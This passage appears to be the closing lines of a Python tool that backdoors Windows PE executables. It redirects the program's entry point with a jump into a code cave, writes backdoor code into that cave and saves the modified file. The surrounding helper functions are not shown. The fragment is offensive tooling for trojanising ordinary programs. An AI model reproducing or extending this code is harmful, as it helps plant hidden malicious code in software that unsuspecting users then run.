jmpInstr = getJmpCode(getVirtAddr(pe, getEntryPoint(pe)), caveInfo[1]) 662 | 663 | # write backdoor code to file 664 | pe = writeCode(pe, getEntryPoint(pe), jmpInstr) 665 | pe = writeBackdoorCode(pe, caveInfo, origInstrArray, OSesp) 666 | 667 | saveFile(pe, outputFile) 668 | 669 | if __name__ == '__main__': 670 | main() 671 | --------------------------------------------------------------------------------